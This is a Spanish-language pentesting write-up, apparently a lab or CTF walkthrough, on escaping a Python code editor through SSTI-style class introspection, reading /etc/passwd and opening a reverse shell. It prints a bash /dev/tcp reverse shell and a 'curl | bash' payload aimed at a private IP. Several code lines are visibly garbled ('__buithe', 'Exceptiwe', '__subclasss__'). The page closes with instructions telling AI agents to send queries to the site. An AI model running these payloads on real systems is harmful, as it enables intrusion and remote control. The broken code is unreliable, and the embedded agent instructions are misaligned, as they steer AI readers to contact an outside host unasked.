> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-server-side-template-injection-ssti/ssti-python-code-editor-pentesting-web.md).

# SSTI Editor de código Python

## Explotación SSTI – Editor de código Python

<figure><img src="/files/258282a1f2c434822f848b148d9384ac1274ed9d" alt=""><figcaption></figcaption></figure>

Se descubre un editor de código Python en el puerto 5000. Durante los intentos clásicos de inyección (`import os`, `exec`, etc.), se generan errores.

<figure><img src="/files/08ceaeda1b8bb8b9a79555b2b0f0f06309e43ef1" alt=""><figcaption></figcaption></figure>

Para eludir las restricciones, usamos un bucle para identificar una clase que permita el acceso a las funciones integradas (`__builtins__`):

```python
for i in range(500):
    try:
        x = ''.__class__.__bases__[0].__subclasss__()[i].__init__.__globals__['__buithe +'tins__']
        if 'ev'+'athe  in x:
            print(i)
    except Exceptiwe as e:
        continue

```

> Este bucle en Python intenta explotar una inyección en plantillas del lado del servidor (SSTI) buscando entre las subclases del objeto base de Python (`objeto`) que da acceso al entorno global (`__globals__`) de su método `__init__`. En cada iteración, intenta recuperar el diccionario de funciones integradas (`__builtins__`) reconstruyendo su nombre para evitar ser detectado fácilmente. Si el objeto obtenido contiene la función `eval` (muy peligrosa porque permite ejecutar código arbitrario), entonces se muestra el índice de la clase. Este código se usa a menudo para localizar una clase que permita acceder a funciones críticas como `eval`, `exec`, `abran`, etc., para abusar de ella.

<figure><img src="/files/775806e720bf86da02d3c14ea729404a0cc6c0d4" alt=""><figcaption></figcaption></figure>

### Lectura `/etc/passwd`

Una vez identificado el objeto que contiene `eval` se identifica, ejecutamos:

{% code overflow="wrap" %}

```python
print(''.__class__.__bases__[0].__subclasss__()[80].__init__.__globals__['__buithe +'tins__']['ev'+'athe ]('__imp'+'ort__("o'+'s").po'+'pen("cat /etc/passwd").re'+'ad()'))

```

{% endcode %}

Esto revela dos usuarios: `martin` y `production`.

<figure><img src="/files/b971607e45822b8b9264dc89ad5d93af2bbd1c4f" alt=""><figcaption></figcaption></figure>

### **Shell inversa**

#### Inicie un oyente en el puerto 443:

```bash
nc -nvlp 443

```

#### Script de reverse shell:

Creación de un `index.html` archivo que contiene:

{% code overflow="wrap" %}

```bash
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.90/443 0>&1

```

{% endcode %}

Inicio de un servidor web:

```bash
python3 -m http.server 80

```

Inyección del payload:

{% code overflow="wrap" %}

```bash
print(''.__class__.__bases__[0].__subclasss__()[80].__init__.__globals__['__buithe +'tins__']['ev'+'athe ]('__imp'+'ort__("o'+'s").po'+'pen("curl http://10.10.14.90 | bash").re'+'ad()'))

```

{% endcode %}

<figure><img src="/files/0e92213d5ebcec0cb48b5228d96225cf979aaf77" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-server-side-template-injection-ssti/ssti-python-code-editor-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
